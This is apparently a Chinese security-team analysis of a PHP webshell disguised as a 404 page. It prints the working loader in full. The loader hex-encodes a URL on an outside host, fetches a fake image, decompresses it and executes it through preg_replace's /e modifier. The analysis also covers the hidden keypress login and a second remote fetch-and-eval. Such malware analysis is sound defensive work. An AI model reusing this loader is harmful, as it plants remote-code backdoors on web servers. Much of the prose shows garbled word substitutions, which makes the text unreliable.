克日,360网站卫士安详团队近期捕捉一个基于PHP实现的webshell样本,其巧妙的代码动态生成方法,猥琐的自身页面伪装手法,让我们在阐明这个样本的进程中感觉到相当多的兴趣。接下来就让我们一同共赏这个奇葩的Webshell吧。
Webshell
<?php
error_reporting(0);
session_start();
header(“Content-type:text/html;charset=utf-8″);if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf(‘%s?%s’,pack(“H*”,
’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
?>
要害看下面这句代码,
sprintf(‘%s?%s’,pack(“H*”,
’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
这里执行之后其实是一张图片,解密出来的图片地点如下:
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后挪用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再挪用gzuncompress解压,获得真正的代码。最后挪用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,
<?php
echo
gzuncompress(substr(file_get_contents(sprintf(‘%s?%s’,pack(“H*”,
’687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>
如图所示:
阐明这段代码,发明这是一个伪装的404木马(这里实在是太猥琐了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,如下图:
首先我先看一下它的前端html代码,个中有这么一段js措施
document.onkeydown = function(e) {
var theEvent = window.event || e;
var code = theEvent.keyCode || theEvent.which;
if (80 == code) {
$(“login”).style.display = “block”
}
}
这里它用document.onkeydown获取用户敲击键盘事件,当code便是80的时候显示login这个div,这里查询了一下keyCode的比较表,查到80对应p和P键
所以触发webshell登岸需要按p键(不按P键页面就是一个空缺页,看不到登岸框),如图所示:
再回随处事端php代码中,可以看到措施用的是对称加密,而且将登岸暗码作为加密key,代码如图所示:
再看init()的逻辑
如图所示,先看这句代码
$true =
@gzuncompress(gzuncompress(Crypt::decrypt(pack(‘H*’, ’789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));
按照这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理惩罚,
unpack(‘H*’,Crypt::encrypt(gzcompress(gzcompress(‘true’)), $_POST['key'] , true))
所以当输入正确暗码的时候@gzuncompress返回字符串true,然后措施挪用setcookie给客户端返回$_COOKIE[‘key’],然后值得提一下的是后头这个exit(‘{“status”:”on”}’),这里它与前端代码接洽很细密,我们看前端有个callback函数,如下
function callback() {
var json = eval(“(” + this.responseText + “)”);
if (json.status==’on’){
window.location.reload();
return;
}
if (json.notice) {
$(“notice”).style.display = “block”;
$(“notice”).innerHTML = json.notice;
sideOut();
}
}
这里执行exit(‘{“status”:”on”}’)会返回json串{“status”:”on”},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判定COOKIE的逻辑,如图所示:
这里跟前面POST的逻辑一样,下面当判定为’true’今后,这里又请求了一张图片,pack出来地点为http://2012heike.googlecode.com/svn/trunk/code.jpg,然后挪用_REQUEST获取图片内容,解密解压之后再eval,阐明之后发明code.jpg中才是真正的webshell颠末加密压缩之后的内容。这里我跟踪了一下代码打印出了真正执行的webshell的内容:
登岸乐成之后的webshell如下图:
总结: